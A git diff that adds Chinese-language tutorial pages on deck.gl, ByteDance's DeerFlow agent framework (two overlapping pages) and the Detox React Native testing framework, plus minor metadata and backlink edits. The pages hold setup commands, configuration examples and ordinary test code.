+        data: [{position: [2.3522, 48.8566], color: [0, 128, 255], radius: 120}],
+        getPosition: d => d.position,
+        getFillColor: d => d.color,
+        getRadius: d => d.radius
+      })
+    ]
+  });
+</script>
+```
+
+## 常见坑
+
+1. **Layer 上直接改 props 不生效**：必须 `new ScatterplotLayer({...sameId, data: newData})` 再传给 `Deck`/`DeckGL`。  
+2. **忘记同 id**：换 Layer 类型但 id 冲突会导致生命周期混乱。  
+3. **地理坐标顺序**：始终是 `[longitude, latitude]`，不是 lat-first 的 GeoJSON 习惯写反。  
+4. **大数据仍用 JSON 数组**：超过 ~10⁵ 行考虑二进制列或 loaders.gl + `updateTriggers` 精细控制刷新。  
+5. **与 React Strict Mode 双挂载**：开发环境 effect 跑两次可能重复创建 Deck；用 ref 存实例并在 cleanup 里 `finalize()`。  
+6. **底图 token 与 CORS**：Mapbox token、瓦片域名白名单要在部署环境配好，否则只有 deck 图层、底图空白。
+
+## 生态与版本脉络
+
+- **2016**：Uber 内部可视化需求开源，Layer 组合 + Mapbox overlay 架构定型。  
+- **2018–2020**：kepler.gl 爆火，aggregation-layers、TripLayer 等成为标准工具。  
+- **2024 v9**：基于 luma.gl v9，为 WebGPU 铺路；新增 `@deck.gl/widgets` UI 控件。  
+- **姊妹项目**：[[luma-gl]]（GPU）、loaders.gl（IO）、math.gl（矩阵/投影）、react-map-gl（React 地图胶水）。
+
+## 学习路径（零基础）
+
+1. 跑官方 examples 里 `get-started` 的 pure JS 模板，确认本地能出散点。  
+2. 读 Layer catalog：先 Scatterplot / Path / Polygon，再 Hexagon / Heatmap。  
+3. 接一个 MapLibre 底图，练 viewState 双向绑定。  
+4. 用 loaders.gl 读 CSV/GeoJSON，把 `data` 换成真实文件。  
+5. 需要编辑/Graph 时再看 deck.gl-community 扩展包。
+
+## 自测题
+
+1. 为什么 deck.gl 强调 Layer 不可变，这和 React 的 immutable update 有什么相似处？  
+2. `getPosition` 返回 `[lng, lat, 0]` 和返回 `[lng, lat]` 在 2D 地图模式下有何区别？  
+3. HexagonLayer 的 `radius` 与 ScatterplotLayer 的 `getRadius` 单位/语义有何不同？  
+4. 什么情况下应该用 `@deck.gl/geo-layers` 的 Tile3DLayer 而不是自己传点数组？
+
+## 参考资料
+
+- 官方文档：https://deck.gl/docs  
+- Layer 目录：https://deck.gl/docs/api-reference/layers  
+- GitHub：https://github.com/visgl/deck.gl  
+- 姊妹笔记：[[luma-gl]]、[[visx]]、[[d3]]、[[observable-plot]]
diff --git a/src/content/docs/projects/deer-flow.md b/src/content/docs/projects/deer-flow.md
new file mode 100644
index 000000000..96954e6bc
--- /dev/null
+++ b/src/content/docs/projects/deer-flow.md
@@ -0,0 +1,271 @@
+---
+title: DeerFlow — 字节跳动的超级智能体引擎
+来源: https://github.com/bytedance/deer-flow
+日期: 2026-06-13
+分类: 机器学习
+子分类: 数据科学与 AI
+provenance: pipeline-v3
+---
+
+# DeerFlow — 字节跳动的超级智能体引擎
+
+## 一、先问一个问题：你用过"分工合作"吗？
+
+想象一下，你要写一份关于"2026 年 AI 趋势"的深度报告。
+
+一个人从头干到完，要查资料、要分析、要写 PPT、要画图——可能一周都搞不完。但如果把任务拆出去呢？
+
+- 研究员 A 去搜全球最新论文
+- 研究员 B 去抓竞品公司的财报
+- 设计师 C 根据数据做可视化图表
+- 主编 D 把所有人的成果汇总成最终报告
+
+这就是 **DeerFlow** 的核心思想。
+
+DeerFlow（Deep Exploration and Efficient Research Flow，深度探索与高效研究流程）是字节跳动开源的一个**超级智能体引擎**（Super Agent Harness）。它用 LangGraph 做编排底层，让一个大模型当"项目经理"，自动拆分任务、派出多个"子智能体"并行工作，最后把结果汇总成一份完整的交付物。
+
+> **一句话定位**：DeerFlow 不是聊天机器人，它是一个能真正"干活"的智能体基础设施——有文件系统、有长期记忆、有技能库、有隔离沙箱，还能派兵遣将。
+
+## 二、核心概念拆解
+
+### 2.1 Lead Agent（主智能体）
+
+主智能体是整个系统的"大脑"。你给它一个模糊指令，比如"帮我做一份关于量子计算的市场分析报告"，它会：
+
+1. 理解意图
+2. 拆解任务
+3. 决定要不要派出子智能体
+4. 协调各子智能体的产出
+5. 生成最终报告
+
+### 2.2 Sub-Agents（子智能体）
+
+子智能体是主智能体派出去干活的"员工"。每个子智能体都有：
+
+- **独立的上下文**：看不到主智能体或其他子智能体的对话历史，专注自己的任务
+- **独立的工具集**：可以配置不同的搜索权限、文件访问范围
+- **明确的终止条件**：知道什么情况下该交差
+
+多个子智能体可以**并行运行**，大幅缩短整体耗时。
+
+### 2.3 Skills（技能模块）
+
+技能是 DeerFlow 能干"几乎任何事情"的关键。每个技能就是一个结构化的 Markdown 文件（`SKILL.md`），定义了一个工作流、最佳实践和相关资源。
+
+内置技能包括：
+
+| 技能名称 | 用途 |
+|---|---|
+| `research` | 深度网络研究 |
+| `report-generation` | 自动生成报告 |
+| `slide-creation` | 制作 PPT 幻灯片 |
+| `web-page` | 生成网页 |
+| `image-generation` | 图像生成 |
+| `video-generation` | 视频生成 |
+| `claude-to-deerflow` | 从 Claude Code 直接调用 DeerFlow |
+
+关键设计：**技能按需加载**。不是把所有技能一次性塞进上下文窗口，而是任务需要时才加载对应的 `SKILL.md`。这让它能在 token 敏感的模型上也跑得不错。
+
+手动激活某个技能的方式也很直观——在消息前加斜杠命令：
+
+```
+/data-analysis analyze uploads/foo.csv
+```
+
+这会把 `data-analysis` 技能的 `SKILL.md` 作为当前轮的隐藏上下文加载。
+
+### 2.4 Sandbox & File System（沙箱与文件系统）
+
+DeerFlow 不只是"嘴上说说"，它真的有一台"电脑"。每个任务都有独立的执行环境：
+
+```
+/mnt/user-data/
+├── uploads/          ← 用户上传的文件
+├── workspace/        ← 智能体的工作目录
+└── outputs/          ← 最终交付物
+```
+
+有两种沙箱模式：
+
+- **AioSandboxProvider**：在隔离容器中执行 shell 命令，安全隔离
+- **LocalSandboxProvider**：文件操作映射到宿主机目录，但默认禁用 shell 执行
+
+### 2.5 Long-Term Memory（长期记忆）
+
+大多数智能体对话结束就忘了。DeerFlow 不一样——它会记住你的偏好、写作风格、技术栈、常用工作流。用得越多，它越了解你。记忆存在本地，完全由你控制。
+
+### 2.6 Context Engineering（上下文工程）
+
+DeerFlow 在上下文管理上做了很多精细工作：
+
+- **子智能体上下文隔离**：每个子智能体只看自己的上下文
+- **摘要压缩**：已完成的任务会被摘要，中间结果写入文件系统，不相关的信息被压缩
+- **工具调用恢复**：当模型中断工具调用循环时，DeerFlow 会自动清理元数据并注入占位符结果，避免报错
+
+## 三、快速上手
+
+### 3.1 安装（一行命令）
+
+```bash
+git clone https://github.com/bytedance/deer-flow.git
+cd deer-flow
+make setup
+```
+
+`make setup` 会启动一个交互式向导，引导你选择 LLM 提供商、配置 API Key、设置沙箱模式等，大约 2 分钟搞定。
+
+### 3.2 启动
+
+```bash
+# Docker 方式（推荐）
+make docker-init    # 首次拉取沙箱镜像
+make docker-start   # 启动服务
+
+# 本地开发方式
+make check          # 检查前置依赖
+make install        # 安装依赖
+make dev            # 启动开发服务
+```
+
+启动后访问 `http://localhost:2026` 即可使用。
+
+### 3.3 配置模型
+
+DeerFlow 支持任何兼容 OpenAI API 的大模型。配置文件是 `config.yaml`，示例：
+
+```yaml
+models:
+  - name: gpt-4o
+    display_name: GPT-4o
+    use: langchain_openai:ChatOpenAI
+    model: gpt-4o
+    api_key: $OPENAI_API_KEY
+
+  - name: openrouter-gemini-2.5-flash
+    display_name: Gemini 2.5 Flash (OpenRouter)
+    use: langchain_openai:ChatOpenAI
+    model: google/gemini-2.5-flash-preview
+    api_key: $OPENROUTER_API_KEY
+    base_url: https://openrouter.ai/api/v1
+
+  - name: qwen3-32b-vllm
+    display_name: Qwen3 32B (vLLM)
+    use: deerflow.models.vllm_provider:VllmChatModel
+    model: Qwen/Qwen3-32B
+    api_key: $VLLM_API_KEY
+    base_url: http://localhost:8000/v1
+    supports_thinking: true
+```
+
+推荐使用的模型具备这些能力：长上下文窗口（10 万 token 以上）、推理能力、多模态输入、强大的工具调用能力。
+
+## 四、代码示例
+
+### 示例 1：作为 Python 库嵌入使用
+
+DeerFlow 可以不启动 HTTP 服务，直接作为 Python 库导入：
+
+```python
+from deerflow.client import DeerFlowClient
+
+client = DeerFlowClient()
+
+# 普通对话
+response = client.chat("帮我分析这份论文", thread_id="my-thread")
+
+# 流式响应（LangGraph SSE 协议）
+for event in client.stream("分析一下这个数据集"):
+    if event.type == "messages-tuple" and event.data.get("type") == "ai":
+        print(event.data["content"])
+
+# 管理技能、模型、文件上传
+models = client.list_models()
+skills = client.list_skills()
+client.update_skill("web-search", enabled=True)
+client.upload_files("thread-1", ["./report.pdf"])
+```
+
+这让 DeerFlow 可以嵌入到你现有的 Python 项目中，不需要额外部署服务。
+
+### 示例 2：通过 config.yaml 配置多智能体工作流
+
+```yaml
+# config.yaml 中的模型与技能配置示例
+
+models:
+  # 使用 Codex CLI 作为推理模型
+  - name: gpt-5.4
+    display_name: GPT-5.4 (Codex CLI)
+    use: deerflow.models.openai_codex_provider:CodexChatModel
+    model: gpt-5.4
+    supports_thinking: true
+    supports_reasoning_effort: true
+
+  # 使用 Claude Code OAuth
+  - name: claude-sonnet-4.6
+    display_name: Claude Sonnet 4.6 (Claude Code OAuth)
+    use: deerflow.models.claude_provider:ClaudeChatModel
+    model: claude-sonnet-4-6
+    max_tokens: 4096
+    supports_thinking: true
+
+# 技能加载路径
+skills:
+  public: /mnt/skills/public    # 内置技能
+  custom: /mnt/skills/custom    # 自定义技能
+
+# IM 渠道集成（可选）
+channels:
+  telegram:
+    enabled: true
+    bot_token: $TELEGRAM_BOT_TOKEN
+  slack:
+    enabled: true
+    bot_token: $SLACK_BOT_TOKEN
+    app_token: $SLACK_APP_TOKEN
+```
+
+配置好之后，你就可以通过 Telegram、Slack、飞书、钉钉等渠道直接与 DeerFlow 交互，发送 `/new` 开启新对话，发送 `/models` 查看可用模型。
+
+## 五、DeerFlow 为什么重要？
+
+DeerFlow 最初是一个"深度研究"框架，但社区把它用到了远超研究的地方——构建数据管道、生成演示文稿、搭建仪表盘、自动化内容工作流。这些甚至超出了开发者的预期。
+
+这说明了一件事：DeerFlow 本质上不是一个研究工具，而是一个**智能体基础设施**——一个让智能体真正能把事做成的运行时。
+
+它的价值在于：
+
+1. **开箱即用**：不再需要自己拼凑各种组件，文件系统、记忆、技能、沙箱全部内置
+2. **极度可扩展**：可以只用内置功能，也可以完全替换掉重做
+3. **模型无关**：不绑定任何特定大模型，支持 OpenAI、Anthropic、OpenRouter、vLLM 等
+4. **生产就绪**：Docker 部署、IM 集成、LangSmith/Langfuse 可观测性，一应俱全
+
+## 六、安全提醒
+
+DeerFlow 默认设计为在**本地可信环境**中运行（仅通过 127.0.0.1 回环接口访问）。如果部署到不可信的网络环境中，需要注意：
+
+- 使用 IP 白名单限制访问
+- 配置反向代理做身份验证
+- 将智能体放在专用 VLAN 中隔离
+- 保持 DeerFlow 更新到最新版本
+
+## 七、学习小结
+
+| 概念 | 类比 |
+|---|---|
+| Lead Agent | 项目经理 |
+| Sub-Agents | 分工合作的员工 |
+| Skills | 员工的专长手册 |
+| Sandbox | 独立的办公隔间 |
+| Memory | 员工的工作档案 |
+| Context Engineering | 信息筛选与整理 |
+
+DeerFlow 把"让 AI 干活"这件事从"你问一句它答一句"升级到了"你说目标，它自己拆任务、找人干、交成品"。对于想深入理解多智能体系统的学习者来说，这是一个极佳的开源参考实现。
+
+## 参考资料
+
+- GitHub 仓库：https://github.com/bytedance/deer-flow
+- 官方网站：https://deerflow.tech
+- 架构文档：https://github.com/bytedance/deer-flow/blob/main/backend/CLAUDE.md
+- 配置指南：https://github.com/bytedance/deer-flow/blob/main/backend/docs/CONFIGURATION.md
+- 贡献指南：https://github.com/bytedance/deer-flow/blob/main/CONTRIBUTING.md
diff --git a/src/content/docs/projects/deerflow.md b/src/content/docs/projects/deerflow.md
new file mode 100644
index 000000000..37b17a56e
--- /dev/null
+++ b/src/content/docs/projects/deerflow.md
@@ -0,0 +1,249 @@
+---
+title: DeerFlow — 深度研究 Agent
+来源: https://github.com/bytedance/deer-flow
+日期: 2026-06-13
+分类: 机器学习
+子分类: ai-agent-infra
+provenance: pipeline-v3
+---
+
+# DeerFlow — 深度研究 Agent
+
+## 日常类比
+
+想象你正在写一份关于"2026年AI趋势"的报告。你一个人做，要花整整一周：查资料、写代码分析数据、整理结论、排版成PPT。
+
+DeerFlow 做了什么？它相当于雇佣了一整个团队：
+
+- **主项目经理（Lead Agent）**：接到任务后，把大工作拆成若干子任务
+- **子研究员（Sub-Agents）**：每个专注一个方向，比如一个专门查资料，一个专门写代码
+- **实习生的工作台（Sandbox）**：每个研究员有一个隔离的电脑，互不影响
+- **图书馆（Memory）**：团队干过的活、学过的东西，下次还能用到
+
+DeerFlow 就是搭建这个"团队"的基础设施。它由字节跳动开源，基于 LangGraph 和 LangChain 构建，核心定位是一个 **Super Agent Harness**——不是一个你能自己拼凑的框架，而是一个开箱即用、完全可扩展的智能体运行平台。
+
+## 核心概念
+
+### 1. Skills（技能模块）
+
+技能是 DeerFlow 能干"几乎任何事"的关键。一个技能本质上是一个结构化的 Markdown 文件，定义了某个工作流、最佳实践和相关资源。DeerFlow 内置了研究、报告生成、PPT制作、网页生成、图片/视频生成等技能。
+
+技能是"按需加载"的——只有任务需要时才加载，不会一次性塞满上下文窗口。用户也可以通过斜杠命令手动激活技能：
+
+```
+/data-analysis analyze uploads/foo.csv
+```
+
+### 2. Sub-Agents（子智能体）
+
+复杂任务不适合单次处理。主智能体可以动态生成子智能体，每个子智能体有独立的上下文、工具集和终止条件。子智能体并行执行，将结构化结果汇报给主智能体，由主智能体汇总输出。
+
+这是 DeerFlow 能处理"从几分钟到几小时"级别任务的核心机制。
+
+### 3. Sandbox（沙箱环境）
+
+DeerFlow 不只是"能说话"，它真的有自己的"电脑"。每个任务获得一个完整的执行环境：读写文件、执行 shell 命令、查看图片。沙箱支持三种模式：
+
+- **本地执行**：直接在宿主机上运行
+- **Docker 隔离**：在容器内运行，安全隔离
+- **Kubernetes 编排**：通过 provisioner 在 K8s 集群中运行
+
+### 4. Context Engineering（上下文工程）
+
+DeerFlow 管理上下文的方式非常聪明：
+
+- 每个子智能体运行在**隔离上下文**中，不会干扰主智能体
+- 完成的子任务会被**摘要**，中间结果被转存到文件系统
+- 遇到工具调用被意外中断时，有**严格恢复机制**保证模型不崩溃
+
+### 5. Long-Term Memory（长期记忆）
+
+大多数智能体对话结束就忘。DeerFlow 不同——它记住你的偏好、写作风格、技术栈和常用工作流。记忆存在本地，完全由用户控制。
+
+## 代码示例
+
+### 示例 1：配置模型（config.yaml）
+
+DeerFlow 通过 YAML 配置文件指定使用的 LLM。以下是一个典型配置，包含 OpenAI 和 OpenRouter 两种模型：
+
+```yaml
+models:
+  # OpenAI 模型
+  - name: gpt-4o
+    display_name: GPT-4o
+    use: langchain_openai:ChatOpenAI
+    model: gpt-4o
+    api_key: $OPENAI_API_KEY
+
+  # 通过 OpenRouter 使用 Gemini
+  - name: openrouter-gemini-2.5-flash
+    display_name: Gemini 2.5 Flash (OpenRouter)
+    use: langchain_openai:ChatOpenAI
+    model: google/gemini-2.5-flash-preview
+    api_key: $OPENROUTER_API_KEY
+    base_url: https://openrouter.ai/api/v1
+
+  # 本地 vLLM 部署的 Qwen 模型
+  - name: qwen3-32b-vllm
+    display_name: Qwen3 32B (vLLM)
+    use: deerflow.models.vllm_provider:VllmChatModel
+    model: Qwen/Qwen3-32B
+    api_key: $VLLM_API_KEY
+    base_url: http://localhost:8000/v1
+    supports_thinking: true
+    when_thinking_enabled:
+      extra_body:
+        chat_template_kwargs:
+          enable_thinking: true
+```
+
+关键点：
+- `use` 字段指定 LangChain 的模型加载路径
+- `api_key` 引用 `.env` 文件中的环境变量
+- `supports_thinking: true` 告诉 DeerFlow 这个模型支持思维链（thinking/reasoning）
+
+### 示例 2：配置 IM 渠道（config.yaml）
+
+DeerFlow 支持通过 Telegram、Slack、飞书、微信等即时通讯平台接收任务：
+
+```yaml
+channels:
+  langgraph_url: http://localhost:8001/api
+  gateway_url: http://localhost:8001
+
+  # Telegram 渠道
+  telegram:
+    enabled: true
+    bot_token: $TELEGRAM_BOT_TOKEN
+    allowed_users: []
+
+  # 飞书渠道
+  feishu:
+    enabled: true
+    app_id: $FEISHU_APP_ID
+    app_secret: $FEISHU_APP_SECRET
+
+  # Slack 渠道（需要 Socket Mode）
+  slack:
+    enabled: true
+    bot_token: $SLACK_BOT_TOKEN
+    app_token: $SLACK_APP_TOKEN
+    allowed_users: []
+
+  # 企业微信渠道
+  wecom:
+    enabled: true
+    bot_id: $WECOM_BOT_ID
+    bot_secret: $WECOM_BOT_SECRET
+```
+
+配置好之后，你就可以在聊天窗口直接给 DeerFlow 发任务。支持的命令包括：
+
+| 命令 | 说明 |
+|------|------|
+| `/new` | 开始新对话 |
+| `/status` | 查看当前线程状态 |
+| `/models` | 列出可用模型 |
+| `/memory` | 查看长期记忆 |
+| `/help` | 帮助 |
+
+没有命令前缀的消息会被当作普通聊天处理，DeerFlow 会自动创建线程并回复。
+
+### 示例 3：通过 DeerFlow 的 Python 客户端发送任务
+
+DeerFlow 内置了一个 Python 客户端，可以在其他程序中使用：
+
+```python
+from deerflow_client import DeerFlowClient
+
+# 连接到本地运行的 DeerFlow 实例
+client = DeerFlowClient(base_url="http://localhost:2026")
+
+# 流式发送任务，支持四种执行模式：
+# - flash：快速执行
+# - standard：标准执行
+# - pro：启用规划
+# - ultra：启用子智能体并行
+for event in client.stream(
+    message="帮我调研 2026 年 AI Agent 框架的现状，生成一份报告",
+    mode="ultra"
+):
+    if event.type == "content":
+        print(event.content, end="", flush=True)
+    elif event.type == "done":
+        print("\n任务完成！")
+```
+
+## 快速开始
+
+### Docker 一键部署（推荐）
+
+```bash
+git clone https://github.com/bytedance/deer-flow.git
+cd deer-flow
+make setup        # 交互式配置向导，选择模型提供商、搜索工具等
+make docker-start # 启动所有服务
+```
+
+然后访问 http://localhost:2026 即可使用。
+
+### 本地开发
+
+```bash
+make check        # 检查 Node.js 22+、pnpm、uv、nginx
+make install      # 安装前后端依赖
+make dev          # 启动本地开发服务
+```
+
+### 推荐模型
+
+官方推荐使用以下模型组合运行 DeerFlow：
+
+- **Doubao-Seed-2.0-Code**（豆包）
+- **DeepSeek v3.2**
+- **Kimi 2.5**
+
+也支持 OpenAI、OpenRouter、vLLM 以及 Claude Code CLI 等。
+
+## DeerFlow 2.0 的变化
+
+DeerFlow 2.0 是一次从零开始的重写，与 v1 没有任何共享代码。v1 版本维护在 `main-1.x` 分支上。
+
+主要的变化包括：
+
+- 从"Deep Research 框架"升级为 **Super Agent Harness**——不只是做研究，而是做"几乎任何事"
+- 内置技能系统、沙箱执行、长期记忆、子智能体调度，开箱即用
+- 更强的上下文工程管理，支持长时多步骤任务
+- 丰富的 IM 渠道集成，可以在任何聊天平台使用
+
+## 架构概览
+
+```
+┌─────────────────────────────────────────┐
+│              前端 UI / IM 渠道             │
+└──────────────┬──────────────────────────┘
+               │
+┌──────────────▼──────────────────────────┐
+│            Gateway (nginx 代理)           │
+├─────────────────────────────────────────┤
+│  LangGraph API │ 子智能体调度 │ 沙箱管理   │
+├─────────────────────────────────────────┤
+│  技能系统 │ 长期记忆 │ 上下文工程 │ 工具集  │
+├─────────────────────────────────────────┤
+│  模型适配层 (OpenAI / vLLM / Claude 等)    │
+└─────────────────────────────────────────┘
+```
+
+## 为什么值得关注
+
+1. **开源且 MIT 许可**：可以自由商用和修改
+2. **字节跳动实战验证**：71k+ Star，GitHub Trending #1
+3. **不只是研究工具**：从研究扩展到数据处理、PPT 生成、仪表盘搭建等
+4. **灵活的语言模型适配**：支持几乎所有主流 LLM
+5. **本地优先的记忆系统**：数据完全由用户掌控
+
+## 参考资料
+
+- GitHub 仓库：https://github.com/bytedance/deer-flow
+- 官方网站：https://deerflow.tech
+- 安装文档：https://github.com/bytedance/deer-flow/blob/main/Install.md
diff --git a/src/content/docs/projects/defold.md b/src/content/docs/projects/defold.md
index fe0543032..bc4e76913 100644
--- a/src/content/docs/projects/defold.md
+++ b/src/content/docs/projects/defold.md
@@ -258,5 +258,6 @@ end
 
 <!-- 由 scripts/regen-backlinks.mjs 自动生成 -->
 
+- [[godot]] —— Godot Engine — 开源游戏引擎 + 编辑器
 - [[phaser]] —— Phaser — 在浏览器里写 2D 游戏的完整工具箱
 
diff --git a/src/content/docs/projects/delta.md b/src/content/docs/projects/delta.md
index 4a60b5467..48d7e561b 100644
--- a/src/content/docs/projects/delta.md
+++ b/src/content/docs/projects/delta.md
@@ -2,8 +2,8 @@
 title: delta — git diff 的语法高亮分页器
 来源: https://github.com/dandavison/delta
 日期: 2026-05-31
-子分类: 命令行工具
-分类: CLI
+子分类: DevOps 与运维
+分类: 基础设施
 难度: 中级
 provenance: pipeline-v3
 ---
diff --git a/src/content/docs/projects/deno.md b/src/content/docs/projects/deno.md
index 5444187d6..f2a1be73d 100644
--- a/src/content/docs/projects/deno.md
+++ b/src/content/docs/projects/deno.md
@@ -3,7 +3,7 @@ title: Deno — 安全优先的 JS/TS 运行时
 来源: 'https://github.com/denoland/deno'
 日期: 2026-06-06
 分类: 编译器
-子分类: 语言运行时
+子分类: ai-infra
 难度: 中级
 ---
 
diff --git a/src/content/docs/projects/detox.md b/src/content/docs/projects/detox.md
new file mode 100644
index 000000000..ca37617c5
--- /dev/null
+++ b/src/content/docs/projects/detox.md
@@ -0,0 +1,255 @@
+---
+title: Detox — React Native 灰盒端到端测试
+来源: https://github.com/wix/Detox
+日期: 2026-06-13
+子分类: 移动端
+分类: 后端 API
+provenance: pipeline-v3
+---
+
+## 是什么
+
+Detox 是 Wix 开源的 **React Native 端到端（E2E）测试框架**。它把测试脚本装进真机或模拟器里跑，像真人一样点按钮、输文字、滑列表，同时能「看见」应用内部的异步状态，从而减少传统移动端 E2E 最常见的 ** flaky（时好时坏）** 问题。
+
+日常类比：黑盒测试像隔着磨砂玻璃看厨师做菜——你只能看到盘子端出来没有，不知道锅里还在不在翻炒，于是你只好每隔几秒掀一次盖（`sleep(2000)`），经常掀早了或掀晚了。Detox 的 **灰盒** 思路则是厨房装了透明侧窗：测试框架能感知 **网络请求是否结束、动画是否播完、JS 线程是否空闲**，菜真正「停火」了再动筷子，不必靠猜。
+
+官方仓库：https://github.com/wix/Detox（MIT，11k+ stars）。底层 iOS 侧借助 XCUITest / EarlGrey 家族能力，Android 侧借助 Espresso，但测试代码统一用 **JavaScript / TypeScript + Jest** 编写。
+
+最小登录流测试长这样：
+
+```javascript
+describe('Login flow', () => {
+  beforeEach(async () => {
+    await device.reloadReactNative();
+  });
+
+  it('should login successfully', async () => {
+    await element(by.id('email')).typeText('john@example.com');
+    await element(by.id('password')).typeText('123456');
+
+    const loginButton = element(by.text('Login'));
+    await loginButton.tap();
+
+    await expect(loginButton).not.toExist();
+    await expect(element(by.label('Welcome'))).toBeVisible();
+  });
+});
+```
+
+四五行交互 + 两行断言 = 一条完整用户路径。没有 `setTimeout`，因为 Detox 会在应用「空闲」后再执行下一步。
+
+## 为什么重要
+
+移动端 E2E 处在测试金字塔顶端：慢、贵、难维护。不理解 Detox，以下痛点很难系统性解决：
+
+- **「CI 上偶发失败、本地又过不了」**：黑盒工具不知道 RN 的 bridge 还在忙，断言时界面其实还在 re-render
+- **RN 专属时序问题**：`FlatList` 虚拟化、导航转场、`useEffect` 触发的请求——固定 `sleep` 无法覆盖所有组合
+- **与 Web 端 Playwright 的分工**：Playwright 管浏览器；Detox 管 **装进设备的 RN 包**，二者 API 风格相近（`element` / `expect`），但同步模型完全不同
+- **和 Maestro / Appium 的选型**：Maestro 用 YAML、上手快；Appium 跨平台最广；Detox 在 **纯 RN 场景** 用灰盒同步换最低 flake 率——团队若把 RN 可靠性当第一优先级，Detox 仍是 2026 年的主流选项之一
+
+Detox **只面向 React Native**（及 Wix 维护的少量原生接入场景），不能拿来测 Flutter、纯 Swift/Kotlin 应用——这是架构取舍，不是功能缺失。
+
+## 核心概念
+
+Detox 的心智模型可以压成五块：
+
+### 1. 灰盒同步（Gray-box synchronization）
+
+Detox 在应用内注入监听器，跟踪：
+
+- React Native **JS 线程** 是否还有排队的任务
+- **原生 UI 线程** 是否稳定
+- **网络** 与 **动画** 是否结束
+
+只有当框架判定应用进入 **idle（空闲）** 状态，才执行下一条 `tap` / `typeText` / `expect`。这是它相对 Appium「盲等 UI 树变化」的核心差异。
+
+### 2. 匹配器 `by.*` 与元素 `element()`
+
+找控件不靠 XPath 堆砌，而用 RN 测试 ID 与无障碍属性：
+
+| 匹配器 | 典型用途 |
+|--------|----------|
+| `by.id('login-btn')` | 对应 `testID` / `accessibilityIdentifier` |
+| `by.text('登录')` | 可见文案 |
+| `by.label('Submit')` | 无障碍 label |
+| `by.type('RCTScrollView')` | 原生类型（少用） |
+
+原则：**给关键控件设 `testID`**，比依赖文案稳定——文案会随 i18n 变化。
+
+### 3. `device` 与 `element` 命名空间
+
+- `device`：应用级操作——`launchApp`、`reloadReactNative`、`sendToHome`、`setURL`（Deep Link）等
+- `element(by....)`：单个控件上的动作与断言
+
+### 4. 配置三元组：`.detoxrc.js`
+
+`.detoxrc.js` 把三件事绑在一起：
+
+1. **apps**：如何 **build** 出待测二进制（`binaryPath` + `build` 命令）
+2. **devices**：跑在哪个模拟器 / 真机（`ios.simulator`、`android.emulator`）
+3. **configurations**：`设备 + app` 的组合名，例如 `ios.sim.debug`
+
+CLI 用法：`detox build -c ios.sim.debug` 然后 `detox test -c ios.sim.debug`。
+
+### 5. Jest 作为测试运行器
+
+Detox 官方默认集成 **Jest + jest-circus**。`e2e/jest.config.js` 里把 `testEnvironment` 设为 `detox/runners/jest/testEnvironment`，超时通常比单元测试长得多（分钟级），因为包含冷启动与整包构建。
+
+## 环境准备与初始化
+
+前置条件（2026 年官方兼容 RN `0.77`–`0.83`，含 New Architecture）：
+
+- Node.js 18+
+- 可编译的 React Native 工程
+- **iOS**：macOS + Xcode 15+，建议 `brew install applesimutils`（Wix tap）
+- **Android**：Android Studio、SDK、`ANDROID_HOME`、AVD 或真机
+
+初始化步骤：
+
+```bash
+npm install --save-dev detox jest jest-circus
+npm install -g detox-cli   # 可选，也可用 npx detox
+
+npx detox init
+```
+
+`detox init` 会生成 `.detoxrc.js` 与 `e2e/` 目录（含示例测试）。随后按项目改 `binaryPath` 与 `build` 命令——**这是 Detox 最难的一步**，没有万能模板，必须对齐你的 Xcode scheme / Gradle 变体。
+
+## 实践案例
+
+### 案例 1：带 `testID` 的登录 + 错误提示
+
+应用侧（React Native）先埋点：
+
+```tsx
+<TextInput testID="email" />
+<TextInput testID="password" secureTextEntry />
+<Pressable testID="login-button" accessibilityLabel="Login">
+  <Text>Login</Text>
+</Pressable>
+{error ? <Text testID="error-message">{error}</Text> : null}
+```
+
+E2E 测试：
+
+```javascript
+// e2e/login.test.js
+const { device, element, by, expect } = require('detox');
+
+describe('Login', () => {
+  beforeAll(async () => {
+    await device.launchApp({ newInstance: true });
+  });
+
+  beforeEach(async () => {
+    await device.reloadReactNative();
+  });
+
+  it('shows error on bad password', async () => {
+    await element(by.id('email')).typeText('user@example.com');
+    await element(by.id('password')).typeText('wrong');
+    await element(by.id('login-button')).tap();
+
+    await expect(element(by.id('error-message'))).toBeVisible();
+    await expect(element(by.id('error-message'))).toHaveText('Invalid credentials');
+  });
+
+  it('navigates home on success', async () => {
+    await element(by.id('email')).typeText('user@example.com');
+    await element(by.id('password')).typeText('correct-secret');
+    await element(by.id('login-button')).tap();
+
+    await expect(element(by.id('home-screen'))).toBeVisible();
+  });
+});
+```
+
+要点：
+
+- `launchApp` 在 `beforeAll` 做一次冷启动；`reloadReactNative` 在每个用例前清 JS 状态，比反复装包快
+- `toHaveText` 会等到文案出现且匹配——仍受益于灰盒同步
+- 失败时 `.detoxrc.js` 的 `artifacts.screenshot` / `video` 会在 `e2e/artifacts` 留下现场，便于 CI 排查
+
+### 案例 2：列表滚动与 `.detoxrc.js` 片段
+
+长列表里某项可能不在首屏，需要滚动再找：
+
+```javascript
+it('opens item from scrollable list', async () => {
+  await element(by.id('product-list')).scrollTo('bottom');
+  await element(by.id('product-item-42')).tap();
+  await expect(element(by.id('product-detail-title'))).toHaveText('Item 42');
+});
+```
+
+配置侧把 iOS 模拟器与 debug 包绑成一条命令：
+
+```javascript
+// .detoxrc.js（节选）
+module.exports = {
+  testRunner: {
+    args: { $0: 'jest', config: 'e2e/jest.config.js' },
+  },
+  apps: {
+    'ios.debug': {
+      type: 'ios.app',
+      binaryPath: 'ios/build/Build/Products/Debug-iphonesimulator/MyApp.app',
+      build:
+        'xcodebuild -workspace ios/MyApp.xcworkspace -scheme MyApp -configuration Debug -sdk iphonesimulator -derivedDataPath ios/build',
+    },
+  },
+  devices: {
+    simulator: {
+      type: 'ios.simulator',
+      device: { type: 'iPhone 16' },
+    },
+  },
+  configurations: {
+    'ios.sim.debug': {
+      device: 'simulator',
+      app: 'ios.debug',
+    },
+  },
+};
+```
+
+本地跑法：
+
+```bash
+detox build -c ios.sim.debug
+detox test -c ios.sim.debug --cleanup
+```
+
+`--cleanup` 在结束后关掉模拟器上的应用实例，避免状态泄漏到下一次运行。
+
+## 与 Maestro、Appium 怎么选
+
+| 维度 | Detox | Maestro | Appium |
+|------|-------|---------|--------|
+| 定位 | RN 灰盒 E2E | 声明式 YAML，多平台 | WebDriver 标准，最广 |
+| 语言 | JS/TS | YAML + 少量扩展 | 多语言客户端 |
+| 同步 | 感知 RN 内部 idle | 智能重试断言 | 主要靠显式等待 |
+| 上手成本 | 高（要写原生 build） | 低 | 中高 |
